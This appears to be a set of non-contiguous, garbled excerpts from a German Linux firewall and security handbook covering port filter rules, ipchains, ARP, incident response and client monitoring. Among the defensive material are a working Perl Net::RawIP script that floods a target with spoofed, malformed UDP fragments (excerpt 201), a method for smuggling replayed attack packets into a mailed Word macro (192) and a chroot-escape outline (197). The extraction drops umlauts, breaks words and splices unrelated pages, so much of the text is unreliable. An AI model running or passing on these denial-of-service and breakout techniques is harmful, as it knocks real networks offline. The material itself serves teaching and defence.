183. SYN ACK 2 aus TCP 515 lt 1023 ACK 3 aus TCP lt 1023 515 SYN ACK 4 en TCP pills lt 1023 ACK Anmerkungen zu den Regeln 1 Eingehendes LPR Client an Server ACK gesetzt au er im ersten Paket 2 Eingehendes LPR Server an Client ACK gesetzt 3 Ausgehendes LPR Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehendes LPR Server an Client ACK gesetzt Netmeeting Microsoft Netmeeting ist ein komplexes Protokoll welches sich vielerlei Ports und Protokolle bedient PORT TCP UDP STATIC DYNAMIC PROTOCOL 389 TCP statisch LDAP 522 TCP statisch ULP User Location Service 1503 TCP statisch imtc mcs T 120 1720 TCP statisch h323hostcall H 323 Anruf 1731 TCP statisch msiccp Audio Anruf 1024 TCP dynamisch H 245 H 323 Anrufkontrolle 1024 UDP dynamisch RTP RTCP H 323 streaming RTP NETMEETING Internet Locator Server ILS Die Probleme mit Netmmeting sind ungeheuer gro Im Kapitel Was Hersteller kommerzieller Firewalls verschweigen werden die Probleme genauer beleuchtet SQL Aufgrund der Komplexitat und der Wichtigkeit des Schutzes der Inhalte von Datenbanken habe ich diesen nun ein eigenes Kapitel Sicherung von SQL Datenbanken gewidmet Fur ORACLE im dedicated Modus reicht es Port 1521 freizuschalten Fur ORACLE im multi threaded Modus m ssen dar ber hinaus auch alle Ports gt 1024 freigeschaltet werden F r MySQL mu der Port 3333 freigegeben werden ltere Versionen von MySQL lt 3 20 benu
184. Seiten wurden ver ndert und zwar schon am Vortag Das erste was ich nun mache ist das Sicherheitsloch zu beseitigen Ich suche mir vom Hersteller des POP3 Server die neue Version des POP D mons kompiliere ihn neu und installiere ich ihn anstelle des Alten Ich teste den Exploit nocheinmal zur Sicherheit Diesmal falle ich nicht mehr in eine ROOT Shell fein Nun spiele ich die Backups wieder zur ck damit die Ver nderungen des Hackers weitestgehend r ckg ngig gemacht werden Inzwischen sind seit der Entdeckung des Einbruchs ca 2 Stunden vergangen Anhand des Datums und der Uhrzeit der Ver nderungen durchsuche ich die Logfiles des Apache Servers und stelle fest da diese Seiten ein paar Stunden zuvor ber einen ffentlich zug nglichen Proxy zuerst geladen und dann nach ein paar Stunden wieder zur ckgespielt wurden Ich durchsuche nun die typischen Log Dateien auf Ver nderungen var log messages gel scht var log xferlog gel scht bash_history gel scht var log wtmp unbrauchbar Alle Log Dateien die h tten verwertet werden k nnen waren gel scht worden Mir bleiben also nur noch die Log Dateien des Apache Servers die auf einen frei zug nglichen PROXY Server zeigen Ich versuche es mit der Wiederherstellung der Datei var log messages mit einem UNDELETE Befehl der in einigen F llen aus dem Filesystem ext2 Dateien wiederherstellen kann Fehlanzeige Der Einbrecher verwendete offensichtlich den VI Editor der I N
185. Software notwendig http www cyrus com Da Fa Microsoft mit der Einf hrung der winsock 2 0 2 1 die Kompatibilit t zu UNIX weitestgehend hergestellt hat reduzieren sich die Entwicklungszeiten besonders im Bereich Netzwerk erheblich Ebenso einfach ist auch die Einbindung eines Makro s in die Benutzeroberfl che von Windows 95 98 NT 4 0 dem Internet Explorer Diese Oberfl che ist beliebig umprogrammierbar Da in relativ vielen Unternehmen Mitarbeiter einen eigenen Anschlu besitzen ist die Wahrscheinlichkeit relativ hoch da ein Angreifer mit diesen Tricks eine Firewall umgehen oder sogar unauff llig ausschalten kann Vielfach betroffen sind auch Beh rden Normale Surfer am Netz und Erpressungen Es gibt in Deutschland bald 4 Millionen User mit Internet Anschlu Kaum jemand f hlt sich durch Hackerangriffe bedroht da ja Kontakte ber Internet weitestgehend anonym bleiben k nnen Es gibt aber mit rasant wachsender Anzahl Hacker die mit z B SMB Scannern riesige Listen von IP Nummern von DIAL IN Anschl ssen von Providern tagelang durchforsten Wer es nicht glaubt der m ge sich einen Scanner installieren und die Pakete die am PC ankommen genauer betrachten Es sind pro Stunde einige Dutzend Einschl ge zu verzeichnen Wer s nicht glaubt installiere sich einen Scanner und warte http www signal9 com Diese Hacker sind auf der Suche nach PC s auf denen das Laufwerk C zum Schreiben freigegeben ist Haben sie einen g
186. Systeme auf Intel Basis auch zu LINUX bin r kompatibel Zur ck zu der chroot Funktion Einige D monen f hren automatisch ein CHROOT aus indem sie chroot ausf hren eine Kopie von sich selber in der chroot Umgebung starten und dann den Ursprungsproze beenden Zu diesen geh rt z B der CERN HTTPD der APACHE Server und dessen Clone der Netscape Enterprise Server und der BSD FTP D mon Wer sich nicht sicher ist ob sein Dienst oder D mon automatisch chroot ausf hrt gen gt ein Blick in den Quellcode oder die Dokumentation Falls der D mon nicht selber diese Funktion unterst tzt dann kann man aus der BASH Shell heraus ein kleines Programm starten welches ein chroot ausf hrt und dann erst den D mon startet system Dieser l uft dann in der chroot Umgebung welche von dem kleinen Shellprogramm vorgegeben wurde So ist es m glich unter allen UNIX en Programme sicher zu betreiben von denen nicht bekannt ist ob diese chroot ausf hren Man kann auch chroot in einer chroot Umgebung ausf hren also von dieser Seite her keine Unw gbarkeiten Warum unter Standard LINUX nicht generell alles in einer chroot Umgebung l uft Das ist einfach zu beantworten Viele D monen wie z B POP3 oder IMAP4 ben tigen Zugriff auf die Dateien etc passwd oder etc shadow um das Pa wort zu berpr fen Nach dem Wechsel in eine chroot Umgebung z B in home userxy chroot verlangt dann der POP3 D mon den Zugriff auf e
187. W proxy squid var squid bin bash fax x 33 14 Facsimile Agent var spool fax bin bash gnats x 34 65534 Gnats Gnu Backtracking System usr lib gnats bin bash Erstellt von Doc Gonzo http kickme to plugins empress x 35 100 Empress Database Admin usr empress bin bash adabas x 36 100 Adabas D Database Admin usr lib adabas bin bash amanda x 37 6 Amanda Admin var lib amanda bin bash ixess x 38 29 IXware Admin usr lib ixware bin bash irc X 39 65534 IRC Daemon usr lib ircd bin bash ftp x 40 2 ftp account usr local ftp bin bash firewall x 41 31 firewall account tmp bin false informix x 43 34 Informix Database Admin usr lib informix bin bash named x 44 44 Nameserver Daemon var named bin bash virtuoso x 45 100 Virtuoso Admin opt virtuoso lite bin bash nobody x 65534 65534 nobody tmp bin bash user01 x 500 100 platte2 home user0 1 bin bash user02 x 501 100 home user02 bin bash user03 x 502 100 home user03 bin bash Die Pa worte stehen in der Datei etc shadow Welche Pa worte sind bei welchen Accounts vergeben Warum ist in der Datei etc shadow bei vielen Accounts kein Pa wort eingetragen Wof r ist dann berhaupt der Account gut Die Antwort ist einfach SUID Programme und chroot Programm nutzen diese Accounts Diese besitzen ein SUID Bit Siehe chmod So verlangen z B einige D monen wie sendmail ein solches Bit In diesem Falle sollte man auf D monen ausweichen die eine sichere Architektur besitzen E
188. Windows 95 Windows 98 Build d d d Windows NT Special Build s d d Build d StringFileInfo 040904b0 CompanyName StringFileInfo 040904b0 ProductName a Das Programm ermittelt die Registrierung also Firma und User s chanuser neo s s chanuser neo s config ini s s config ini ER Es liest Konfigurationsdateien die Informationen ber Netzwerk Anbindungen enthalten resolver dll realname s RNServer www realnames com Search Es wendet sich an den DNS Server www realnames com um Namen im Internet in IP Nummern aufzul sen ber die Firewall hinweg http s s ENHANCED BROWSING RealName search for s ENHANCED BROWSING looking for s www s com Das Programm verbindet sich ber die Firewall hinweg mit seinem HOME Server Es ffnet DLL s die ebenfalls untersucht werden sollten rundll32 exe shell32 dll Control_RunDLL inetcpl cpl mae Hier beginnt die Sequenz der Unterprogramme die das Programm alle aufruft Aus welchem Grund das Programm RAS Verbindungen sucht und startet ist unbekannt Fest steht nur da es dann arbeitet wenn der Arbeitsplatz PC hinter der Firewall mit einem Modem oder einer ISDN Karte ausgestattet ist Die Informationen werden dann direkt ber den Arbeitsplatz PC in das Internet versandt also ist keine Kontrolle ber die Firewall mehr m glich Startup Erstellt von Doc Gonzo http kickme to plugins CheckDefaultBrowser rasapi32 dll RasGet
189. YN Regeln mehr Counter sind nun 64 Bit breit auch auf 32 Bit LINUX 2 2 Invertierung der Logik ist fast f r alle Option m glich ICMP Codes k nnen nun unterschieden werden Wildcard Interfaces sind unterst tzt 14 Die TOS Bits k nnen gesteuert werden 12 16 Quick Index f r Umsteiger von ipfwadm Anmerkung Masquerading wird nun durch j MASQ aktiviert Es hat nichts mit dem Kommando j ACCEPT zu tun ipfwadm ipchains Anmerkungen A both N acct Anlegen einer chain amp I 1 input j acct amp I 1 output j acct amp acct A in input Regel ohne Anweisung A out output Regel ohne Anweisung F forward Eine chain I input Eine chain O output Eine chain M l M L M s M S a policy A chain POLICY Siehe auch r und m d policy D chain POLICY Siehe auch r und m Erstellt von Doc Gonzo http kickme to plugins i policy I1 chain j POLICY Siehe auch r und m l L Z Z f F p P C C P p S S Angabe von Port Range D d Angabe von Port Range V lt none gt Option i chain W i b b Wirkt auf 2 Regeln e V k y Nur mit TCP Protokoll m j MASQ n n 0 l r redirpt j REDIRECT redirpt t t V V X X y y Nur mit TCP Protokoll Beispiele f r ipchains und ifwadm Alter Befehl ipfwadm F p deny Neuer Befehl ipchains P forward DENY Alter Befehl ipfwadm F a m S 192 168 0 0 24 D 0 0 0 0 0 Neuer Befehl ipchains A forward
190. a diese nachweislich nachl ssig pr fen und somit nicht zu empfehlen sind stellen diese Filter f r Angreifer aus besonderem Grunde kein Hindernis dar Es existieren Bytecodes die einen solchen Filter unweigerlich zum Absturz bringen hnlich Intel f00fC7C8 Sie berlasten z B bei der berpr fung eines 500KByte gro en ZIP Files welches beim Extrahieren auf das Tausendfache anw chst das System Sp testens nach dem X ten Male mu sich der Systemadministrator entscheiden ob er f r unbestimmte Zeit das Unternehmen vom Internet abtrennt oder ob er das Risiko eingeht diese Filter abzuschalten Angesichts dringender Gesch ftsinteressen und unter Druck wird er wohl kaum den Internet Anschlu stillegen sondern eher den Filter deaktivieren Gerade unter NT fangen viele Systembetreuer bei Fehlfunktionen hektisch an umzukonfigurieren und immer wieder neu zu booten Das verschafft dem Angreifer zumindest ein paar Tage Zeit weitere H rden in Angriff zu nehmen Genau hierin liegt der Unterschied zwischen UNIX und NT Wenn unter UNIX Programme abst rzen dann ist es definitiv die Hardware Bei dem Einsatz von NT ist keine genaue und schnelle Diagnose m glich da einfach in der Vergangenheit zu viele Fehler auftraten und Microsoft die Quellcodes geheimh lt Jede Art von Filter ist ein weiteres St ck Software welches anf llig gegen DoS Angriffe ist Die Logik einiger Sicherheitsfilter iche Software die erwiesenerma en fehlerhaft ar
191. a FTP ber einen Steuer und einen Datenkanal Port 20 21 die Daten austauscht ergeben sich gewisse Probleme Im aktiven Modus versucht der Server zu dem Client aktiv eine Verbindung f r den Datenkanal aufzubauen Die Firewall kann diesen Vorgang nicht erlauben ohne Ports oberhalb von 1024 komplett frei zu schalten Im passiven Modus bestimmt der Client beide Kan le also f r den Verbindungs und den Datenkanal Damit nicht aus versehen ein Port f r X Windows angesprochen wird sind die Ports zwischen 6000 und 6010 zu sperren Filter gegen Ping of Death F r Linux Server war schon eine halbe Stunde nach der Ver ffentlichung des Problems ein Patch im Internet verf gbar Dieser Angriff basiert auf zu gro en ICMP Paketen Um Server im Intranet oder Extranet gegen diesen Angriff zu sichern m ssen ICMP Fragmente gesperrt werden Damit nicht das letzte Fragment die Server korrumpiert m ssen alle Fragmente gesperrt werden also nicht nur das erste mit SYN Flag sondern auch alle mit ACK Flag Filtern von Teardrop und Bonk Teardrop und Bonk sind Angriffe die haupts chlich gegen Windows NT 4 0 Server gerichtet sind Diese basieren auf Uberlappenden Fragmenten Um diesen Angriff zu verhindern m ssen alle Fragmente gesperrt werden oder es mu eine Reassemblierung im IP Stack durchgef hrt werden Filtern von Fragment Bomben Einige altere TCP Stacks haben Probleme mit gr eren Fragmenten von Paketen Obige Ma nahmen sind
192. ach werden die TCP IP Pakete des Angriffs mit einem Sniffer aufgezeichnet Dieser ist z B im Paket von Darren Reed enthalten Damit kann man 1 1 die Pakete aufzeichnen und f r einen sogenannten replay attack sichern Danach verpackt man die Pakete in die bekannten DATA Zeilen in Basic Da ein Angriff auf einen TCP IP Stack nur wenige entscheidende Bytes enthalten mu kann dieses BASIC Makro sehr klein gehalten werden Nun mu man dieses Makro nur noch in WINWORD oder EXCEL Paken und einem Mitarbeiter der Firma zuschicken Dieser liest das Winword Dokument und im gleichen Moment stehen die Server im Unternehmen oder auch hunderte von Arbeitsstationen still DoS Angriffe auf Firewalls Wenn man sich die Website http www netcraft com security diary html mit besonderem Augenmerk auf Firewall 1 einmal anschaut dann wird einem eventuell klar da hier Legionen von hochbezahlten Security Consultants jahrelang trotz teurem Auditing keine Fehler bemerkt haben sollten Diese z B auf der Website http www securityfocus com erw hnten u erst einfachen Angriffe UDP Paket auf Port 0 f rt bei Solaris und Firewall 1 zu einem DoS sind jahrelang nicht bemerkt worden Wenn man sich dabei vorstellt da jemand mit etwas Geduld und gespooften Paketen ein Unternehmen oder ein Warenhaus im Internet wochenlang oder monatelang vom Netz nehmen kann ohne entdeckt zu werden dann kann einem schon etwas mulmig werden DoS Angriffe anderer Art Themen
193. ach z B mit der SINUS Firewall 1 realisieren Ubrigens kann man dieses Verfahren auch dazu benutzen um eine Art Authentifizierung f r Surfer zu realisieren siehe Homepage von ARCOR Man sollte auch als Nichtexperte stets in die Konfigurationsdatei der Firewall hineinschauen Diese Konstrukte sind leicht zu entdecken Wer also eine Firewall von einer externen Firma installieren l t der sollte stets daf r sorgen da das KNOW HOW in der eigenen Firma zumindest ausreicht um die Firewallregeln berpr fen zu k nnen Die Schu folgerung daraus ist da f r die berpr fung einer Firewall ein Blick auf die Firewallregeln dringend geboten ist um auszuschlie en da Hintert ren eingebaut wurden Eine Firmen lassen trotzdem ihre Firewall Anbindung gerne berpr fen Ziel k nnte es z B sein eine Datei von einem internen FTP FILE Server in das Internet zu entf hren Diese Aufgabe ist dank Microsofts Sicherheitspolitik doch recht einfach zu bew ltigen Viel wichtiger ist es da die Alarmmechanismen auch funktionieren Es darf einem Angreifer nicht gelingen eine Datei unbemerkt zu entf hren Hierzu mu ein Angriff tats chlich ausgef hrt werden Wenn der Systemadministrator alle Angriffe im Alltagsstre bemerkt dann ist viel erreicht Hierzu geh rt eine mehrt gige Ausbildung Eine Firewall ist nur so sicher wie sein Bedienungspersonal qualifiziert ist Dabei spielen der Hersteller der Firewall und die Eigenschaften der Firewal
194. ache LINUX geh rt zu den am besten dokumentierten Betriebssystemen berhaupt neben FreeBSD Wie gut da bei Microsoft die Dokumentation von NT ein kleines Einfamilienhaus kostet Das Beispiel zeigt zwei Karten Eine liegt auf IRQ 11 mit Basisadresse 0x6100 die andere belegt IRQ 9 mit Basisadresse 0x6200 Die zuerst vom Kernel gefundene Karte wird als Device ethO bezeichnet die andere als eth1 Wenn die Karten gleichen Typs sind so mu der Kernel neu mit diesem Typ von Netzwerkkarte kompiliert werden andernfalls wird die zweite Netzwerkkarte nicht korrekt eingebunden obwohl sie richtig erkannt wird Der KERNELD der f r das dynamische Laden der Treiber verantwortlich ist bricht nach der ersten erkannten Karte ab und kann danach nur noch Karten anderen Typs finden Wenn die Karten unterschiedlichen Typs sind kann der Kernel diese als Modul erkennen Hierzu mu in der Datei etc conf modules folgendes eingetragen werden alias ethO lt Treiber 1 gt options ethO i0 0x6100 irq 11 alias eth lt Treiber 2 gt options ethl i0 0x6200 irq 9 Einfacher ist es allerdings unter X Windows und LINUXCONF oder WEBMIN Unter dem Button Netzwerk Konfiguration l t sich dies ebenfalls einstellen LINUXCONF ist aber auch ber die Konsole also ohne X Windows zu starten und auch ber WWW Interface erreichbar sobald eine Netzwerkkarte eingebunden und mit einer IP Nummer versehen ist LINUXCONF ben tigt keinen WWW Server dieser ist e
195. ackt Wie man sieht h ngt die Leistung der Firewall auch von den WWW Servern hinter der Firewall und den Clients ab Man sollte auch bedenken da pro Client stets zwei TCP Verbindungen auf der Firewall initiiert werden einmal zum Client und weiterhin zum WWW Server Bei 50 000 offenen Zugriffen auf eine Serverfarm m ssen also mindestens 100 000 simultane TCP Verbindungen offengehalten werden k nnen Hier ist eine RAM Ausstattung von 128 MByte das Minimum sofern alle Server HTTP 1 1 konform sind Hinzu kommt da z B f r jede Initiierung einer Verbindung alle Firewallregeln durchlaufen werden m ssen Eine scheinbar langsame 2 MBit Anbindung kann aber eine Firewall in erhebliche Bedr ngnis bringen zumal es nur einiger hundert Byte bedarf abh ngig von der MTU um eine halboffene Verbindung zu initiieren Diese scheinbar geringe Bandbreite von 2 MBit reicht bei einem DoS Angriff z B aus um die Firewall mit einigen hundert neuen Verbindungen pro Sekunde zu traktieren Hierbei spielen die Timeout Einstellungen bei halboffenen Verbindungen eine gro e Rolle Fast alle Firewalls sind auf einige Minuten bis Stunden standardm ig eingestellt Diesen sollte man unbedingt auf wenige Sekunden heruntersetzen auch wenn man in Gefahr l uft da Teilnehmer aus langsamen Netzwerken keine Verbindung mehr aufbauen k nnen Hier kommt es also entschieden auf die Intelligenz des TCP IP Stacks an FAST RETRANSMIT SACK sind Begriffe die alle mit i
196. af r verantwortlich sind da ein Einbruch berhaupt m glich wurde ist es sicherlich schwierig einen Fehler nachzuweisen und somit auch jemanden zur Verantwortung zu ziehen Es gibt nur wenige Versicherungen die hierf r pauschal die Verantwortung f r Sch den und Folgesch den bernehmen Insbesondere das Jahr 2000 Problem d rfte erhebliche Sch den verursachen Die Security Policy hat nur die Aufgabe Risiken zu minimieren und vor allem die Fehlersuche zu beschleunigen Oft l t sich hierdurch der Schaden begrenzen berwachung und Absicherung der Clients Arbeitsstationen sollte eine noch gr ere Aufmerksamkeit gewidmet werden da diese von einem Angreifer als Tr ger von trojanischen Pferden mi braucht werden Sie geh ren zu den gr ten Schwachstellen im Netzwerk Hierbei sollte besondere Aufmerksamkeit folgenden Punkten gewidmet werden Im Prinzip gelten sofern die Clients Serverqualit ten mitbringen Windows 95 98 f r Clients dieselben berpr fungskriterien wie f r Server auch Es darf nicht vergessen werden da ein Angreifer diese Arbeitsstation mit Hilfe von Fernwartungsprogrammen und portierten Werkzeugen durchaus zu Servern umfunktionieren kann Die Gefahr hierbei entdeckt zu werden ist geringer da im allgemeinen Arbeitsstationen viel weniger Aufmerksamkeit geschenkt wird Daher sind auf Arbeitsstationen dar ber hinaus zus tzliche Probleme zu beachten berwachung der Clients 1 K nnen unauthorisierte Zug
197. alen Rechten l uft Gelingt einem Angreifer ein buffer overflow so ist es m glich da Programme mit minimalen Userrechten gestartet werden Man geht dabei davon aus da ein User auf einem UNIX Betriebssystem keinen Schaden anrichten kann Auch ist das Starten eines Netzwerksniffers mit Userrechten nicht so einfach m glich da hierzu Zugriff auf RAW SOCKETS erforderlich ist Diese M glichkeit ist aber nur dem root User zugestanden Nun lehrte die Erfahrung da es sehr wohl m glich ist mit Tricks sich vom User zum Superuser zu bef rdern Das gelingt durch Ausnutzung einiger der vielen internen Fehler von UNIX Kein Hersteller hat es inzwischen geschafft diese Probleme zuverl ssig in den Griff zu bekommen Die chroot Umgebung begrenzt Dateizugriffsrechte auf ein Unterverzeichnis Der Zugriff auf bergeordnete Verzeichnisse bleibt verwehrt So erhoffte man sich da wenn ein D mon der mit minimalen Userrechten in einer chroot Umgebung gestartet wird da ein Angreifer h chstens in einem begrenzten Bereich und mit minimalen Rechten sein Unwesen treiben kann Diese Ma nahmen haben sich hervorragend bew hrt und halten die allermeisten erfahrenen Angreifer schon fern Einige findige Experten haben auch dagegen ein Mittel gefunden Sie kopieren den Befehl mknod mkfifo und mount in die chroot Umgebung hinein legen das Device z B dev kmem an welches der aktiven Festplatte entspricht und mounten dieses
198. alle diese Funktionsaufrufe versagen dann schreibt der Firewall Damon die letzten Meldungen auf die Konsole und unterbricht allen Netzwerkverkehr Vermeidung von doppelten Log Eintr gen Der Firewall D mon bergibt Nachrichten sowohl an den SYSLOGD und schreibt in sein eigenes Logfile W hrend der SYSLOGD automatisch mehrfache Eintr ge bereinigt last message repeated times mu te dieses Verhalten in den Firewall D mon expliziert hinein programmiert werden flogf Funktion Wenn der Firewall einen Eintrag im Logfile vornimmt so wird vorher berpr ft ob diese Nachricht bereits existiert Falls dies zutrifft wird ein Z hler angeworfen der solange hochz hlt bis eine andere Nachricht erscheint In diesem Falle werden in das Logfile die Zahl der Ereignisse und deren Dauer geschrieben bevor die neue Nachricht geschrieben wird Dies ist kein Schutz vor schnell wechselnden Angriffsmethoden mit wechselnden gespooften IP Adressen Hiergegen gibt es keinen Schutz F r den Fall da keine Ereignisse eintreten wird in ein Eintrag periodisch erzwungen als Kontrolle der Funktionsf higkeit der Log Funktion Variablen und Timeouts Variablen werden in einem Array des Typs struct gespeichert Es ist f r die korrekte Zuordnung der Variablen zu Netzwerken Hosts notwendig da jeder Eintrag als Struktur erfolgt Es existieren zu jedem Variablennamen also eine Vielzahl von Untereintr gen Um diese Unterteilung von Variablen vornehmen zu
199. allein aus diesem Grunde nicht egal auf welchem Betriebsystem eine Firewall installiert ist Erstellt von Doc Gonzo http kickme to plugins Server sollten stets mit statischen ARP Tabellen siehe bootpd gef ttert werden die durch einen separaten ARP Cache D mon erg nzt werden Insbesondere in gro en Netzwerken sind dauernde ARP Broadcasts des Servers nicht nur eine erhebliche Netzwerkbelastung sondern auch ein Sicherheitsproblem auf der Hardware Ebene der Netzwerkkarten Server und Firewallbetriebssysteme sollten nur mit Netzwerkkarten ausger stet werden bei denen die Hardwareadresse nicht ver ndert werden kann Leider sind auch manche ARP Caches flutbar soda dieses evtl auch einen ARP D mon f r einen DoS Angriff anf llig macht Generell sollten in Unternehmensnetzwerken Netzwerkkarten mit gro em ARP Cache eingesetzt werden es entlastet das Netzwerk erheblich durch weniger ARP Broadcasts Wissend da MAC Adressen ARP Caches und IP Nummern gespooft werden k nnen sollten in gr eren Unternehmensnetzwerken generell Router Firewall Router oder Level 3 4 Switches zum Einsatz kommen Dieses erm glicht dar ber hinaus noch eine Komplett berwachung ber den Datenverkehr und erschwert die Industriespionage bzw verhindert diese wirksam Daher soll ARP durch neighbour discovery ein neues Protokoll basierend auf ICMP ersetzt werden Alternativ sollte man mit statischen ARP Tabellen arbeiten ARPD was nat rlich e
200. also oberhalb der privilegierten Ports angesiedelt Wenn also schon Ports freigegeben werden m ssen dann sollten unbedingt diese Ports ausdr cklich ausgeschlossen werden Ein h ufiger Fehler in gr eren Netzwerken ist da Erstellt von Doc Gonzo http kickme to plugins oft auf den Routern alle Ports gt 1024 freigegeben worden sind Freie Bahn also f r einen Angreifer Daten unbemerkt aus dem Unternehmen zu stehlen Wie hier genau die Zusammenh nge aussehen werden in den Kapiteln Buffer Overflows und im Kapitel Wie erzeuge ich DoS Pakete beschrieben 9 15 Die kompletten Firewall Regeln Hier nun ein vollst ndig kommentiertes Skript welches auf GPL RedHat LINUX fast lauff hig ist Es bedarf noch einiger Erg nzungen von etwas sp ter im Skript benutzen Variablen bitte hierzu das Kapitel FAQ lesen Wer sich jedoch noch nicht so gut mit den Firewallregeln auskennt der mag ein Skript aus einem anderen Generator probieren Siehe hierzu auch Kapitel FWCONFIG bin sh Es sollte etc rc d rc firewall genannt werden Gestartet wird es von etc sysconfig network Skripts ifdhcpc done echo Starte Firewall Einige Definitionen von Variablen any 0 bedeutet nichts anderes als 0 0 0 0 0 Dies ist per Definition jede IP Nummer ANY WHERE any 0 Nun miissen die Interfaces und IP Nummern alle zugewiesen werden EXTERNES_INTERFACE eth0 LOKALES_INTERFACE eth1 INTRANET 10 0 0 0 24 Class C Netzwerk
201. amit haben dann sogar einfache User direkten Zugriff auf die Netzwerkkarte Systemadministratoren also aufgepasst Diese Option sollte man stets deaktiviert haben ansonsten k nnen Nutzer von CGI BIN s von Ihrem WWW Server aus diese Angriffe ausf hren was sicher zu Arger f hrt Bei dem folgenden Beispiel d rfen Sie nun selber raten welcher Angriff hier ausgef hrt wird Beachten Sie hierzu die M glichkeiten die saddr zu ver ndern und die TCP IP Flags zu variieren ust bin perl require getopts pl use Net RawIP Getopts t n die Usage 0 t lt ip of the target gt n lt thousands of the times gt unless opt_t amp amp opt_n data split 0 x20 p new Net RawIP ip gt ihl gt 11 tot_len gt 44 tos gt 0 ttl gt 255 id gt 1999 frag_off gt 16383 protocol gt 17 Erstellt von Doc Gonzo http kickme to plugins saddr gt 1 1 1 1 daddr gt opt_t b generic gt Wi p gt optset ip gt type gt data data gt data p gt send 0 opt_n 1000 Um es nochmals klarzustellen Diese Angriffe werden inzwischen von vielen Betriebssystemen Routern und Firewalls erkannt Probieren Sie diese Angriffe ausschlie lich auf Servern in einem isolierten Netzwerk Gerade Pakete die fehlerhafte Pr fsummen generieren bringen innerhalb einer Collision Domain viele TCP IP Stacks von Arbeitsstationen oder insbesondere auch Netzwerkdruckern
202. an Firewallregeln ordnet Hier sollte man sich Gedanken machen wie man die Firewallregeln aufbaut Sie k nnen nach Geschwindigkeit und Ubersichtlichkeit geordnet werden Fur eine Modem oder ISDN Verbindung sollte die Policy als erstes gesetzt werden und dies bereits beim Booten des Systems Hier k nnte folgendes in dem Skript etc ppp ip up eingetragen sein Vorher die ppp in chain anlegen ipchains restore f lt ppp in firewall Nun die DENY Regel durch ein Sprung auf die ppp in chain ersetzen ipchains R input 1 i ipppO j ppp in Im ip down Skript m te dann folgender Eintrag stehen ipchains R input 1 i ippp0 j DENY Pakete die man nicht filtern sollte ICMP Pakete ICMP Pakete werden benutzt um Fehler zu bermitteln die bei anderen Protokollen aufgetreten sind z B TCP und UDP Hier gibt es verschiedenste Fehlermeldungen z B destination unreachable Host unreachable oder No route to host Ohne diese Fehlermeldung w rde der Host immer wieder versuchen den Server zu kontaktieren Das kann eine erhebliche Belastung der Netzwerkbandbreite bedeuten In einigen F llen kann dies dazu f hren da die Firewall h ngt Ein schwierigeres Problem ist die Rolle der ICMP Pakete in der MTU Maximun Transfer Unit Alle guten TCP IP Stacks benutzen diese um herauszufinden welche maximalen Paketgr en bei der bertragung verwendet werden k nnen ohne da diese fragmentiert werden m ssen Die Ermittlung erfolgt schr
203. an die Daten gelangt bin Der Kommentar So einfach hatten wir uns das nicht vorgestellt 37 L sungen f r die in diesem Handbuch aufgef hrten Sicherheitsprobleme Erstellt von Doc Gonzo http kickme to plugins Einige L sungsans tze wurden in den Kapiteln schon angedeutet Absolute Sicherheit kann es angeblich nicht geben Es gibt aber Dinge die man beachten sollte damit man Crackern m glichst viele Steine in den Weg legt soda der Aufwand so gro wird da es sich nicht lohnt einen Angriff ber die Firewall zu planen und durchzuf hren Es gibt andere einfachere Wege an Informationen zu kommen Angriffe aus dem Internet k nnen also erheblich durch sorgf ltige Wartung und eine gute berwachung zur Abschreckung von Lamern auf ein Minimum reduziert werden Einige der so gesicherten Systeme unter LINUX z B laufen seit l ngerer Zeit zuverl ssig Es wurden zwar einige Angriffe registriert die aber ohne Erfolg blieben F r andere Probleme die z B aus der Verwendung von Windows NT mit PDC s resultieren gibt es nur eine Antwort Abschaffen und vern nfige Betriebssysteme einsetzen Die Gartner GROUP hat signifikante Unterschieden bei den DOWN Zeiten zwischen den gro en Plattformen festgestellt siehe INFORMATIONWEEK 17 18 vom 19 August 1999 Seite 40 AS 400 5 2 Stunden Jahr 390 8 9 Stunden Jahr UNIX 23 6 Stunden Jahr Windows NT 224 5 Stunden Jahr Da wei man was man hat Sch nen guten Abend Zitat
204. anner die man im Internet findet sind in Wirklichkeit BO Installationsprogramme BO und sein Bruder NetBUS sind inzwischen im Quellcode verf gbar und funktionieren inzwischen ber Firewalls hinweg sofern diese von UDP auf TCP Protokoll umgeschrieben wurden BO Scanner finden nur den urspr nglichen BO EXE nicht aber die neukompilierten Derivate von BO 23 17 Probleme beim Download von Software aus dem Internet Als erste Regel gilt Niemals Software oder Updates aus einer nicht vertrauensw rdigen Quelle herunterladen Problematisch wird diese Aussage wenn man sich bewu t macht da alle gro en und kleinen Anbieter aus Kostengr nden mit transparenten PROXY CACHES arbeiten deren Anwesenheit gar nicht mehr zu bemerken ist CISCO SILENT PROXY SQUID im silent mode Da dieser PROXY ja nur frei zug ngliche Daten aus dem Internet zwischen speichert legen die Systemoperatoren auch keinerlei Wert auf die Absicherung dieses Servers gegen Angreifer Abgesehen davon ist dieser PROXY Server auch nicht durch eine Firewall zu sichern da einfach zu viele Verbindungen zu kontrollieren w ren Die Performance w rde arg leiden Angreifer machen sich diese Tatsache dadurch zunutze indem sie die PROXY CACHE S mit manipulierten Treibern Updates Software f ttern und somit ganz sicher sein k nnen da der Systemoperator auch garantiert eine Version erh lt die seinen Server sicherheitstechnisch in Mitleidenschaft zieht oder die Firewall von innen
205. anz von der Anwendung und der Modemgeschwindigkeit ab Um das bestm gliche Ergebnis zu erzielen mu man ein wenig herum experimentieren Wenn die Queues zu klein sind dann werden die Pakete verworfen Nat rlich h ngen die Resultate auch davon ab ob die Anwendungsprogramme auch ohne TOS Anderungen kooperieren In dem Fall da sie nicht kooperieren sind Anderungen bei den TOS Flags n tig alle mit Linux mitgelieferten Programme sind aber kooperierend Diese Art Tuning ist als Aprilscherz 99 von der Zeitschrift c t beschreiben worden Tats chlich ist hier aber auch ein Funken Wahrheit dran Man kann seinem WWW Server bei einem Provider so erhebliche Priorit t vor benachbarten Servern geben insbesondere wenn diese mit in ein und derselben Collision Domain stehen In vielen F llen werden ausgehende Datenpakete von diesem Server von CISCO s vorrangig geroutet Markierung eines Paketes Dieses erlaubt komplexe und leistungsf hige Kombinationen mit Alexey Kuznetsov s neuer QoS Implementierung Quality of Service ebenso wie das Forwarding in dem Kernel 2 2 in welchem Pakete markiert werden k nnen 12 11 Operationen auf eine ganze chain Eine sehr n tzliche Eigenschaft von ipchains ist die F higkeit Regeln in chains zu definieren die sich auf ganze Gruppen von Hosts beziehen Die chains k nnen mit beliebigen Namen bezeichnet werden solange sie nicht mit den internen chains kollidieren input output und forward oder den Anw
